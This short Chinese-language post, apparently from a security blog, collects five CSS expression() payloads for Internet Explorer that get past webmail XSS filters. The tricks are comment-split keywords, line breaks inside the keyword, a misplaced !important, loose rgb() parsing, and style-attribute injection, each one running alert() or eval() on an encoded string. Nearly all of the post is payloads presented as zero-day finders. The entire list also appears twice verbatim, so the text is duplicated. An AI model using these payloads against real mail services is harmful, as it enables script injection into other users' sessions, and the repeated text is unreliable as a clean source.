expression的变形千变万化,只需要根据CSS Parser进行FUZZER就能挖掘很多WEBMAIL的XSS 0DAY。
下面是几个我记得的例子:
1.IE的CSS语法解析很宽松,导致的执行代码的特例。
<style>
.ExternalClass #ecxx
{color:rgb(''zzzz"x:expression(alert());}
</style>
<div id="ecxx"></div>
2.expression的注释千变万化,很多webmail的过滤会导致二次漏洞,过滤后的代码反而执行了。
<style>*{x:expr//*/*/*/*/*/*/ession(alert()) }</style>
3.回车换行往往是被忽略的地方。
<style>
body{xsser:Expr/*eX
pr*/esSion(eval(String.fromCharCode(
11,22,33,
44,55,66
)));
}
</style>
4.意想不到的地方出现important,会绕过一些过滤器。
<DIV id="code" title="alert()"></DIV>
<style>
body{
top:rgb('88',80,'180);
top:rgb(') !important
height:exp_ression((window.r==123)?x=8:(eval(code.title)==20088) || (r=123))}',80,'180);
}
</style>
5.在标题和表单中注入expression会产生意想不到的结果。
style="x:expression(eval((window.r!=1)?(window.r=1,alert(111111111)):1));'xxx:xx');"
下面是几个我记得的例子:
1.IE的CSS语法解析很宽松,导致的执行代码的特例。
<style>
.ExternalClass #ecxx
{color:rgb(''zzzz"x:expression(alert());}
</style>
<div id="ecxx"></div>
2.expression的注释千变万化,很多webmail的过滤会导致二次漏洞,过滤后的代码反而执行了。
<style>*{x:expr//*/*/*/*/*/*/ession(alert()) }</style>
3.回车换行往往是被忽略的地方。
<style>
body{xsser:Expr/*eX
pr*/esSion(eval(String.fromCharCode(
11,22,33,
44,55,66
)));
}
</style>
4.意想不到的地方出现important,会绕过一些过滤器。
<DIV id="code" title="alert()"></DIV>
<style>
body{
top:rgb('88',80,'180);
top:rgb(') !important
height:exp_ression((window.r==123)?x=8:(eval(code.title)==20088) || (r=123))}',80,'180);
}
</style>
5.在标题和表单中注入expression会产生意想不到的结果。
style="x:expression(eval((window.r!=1)?(window.r=1,alert(111111111)):1));'xxx:xx');"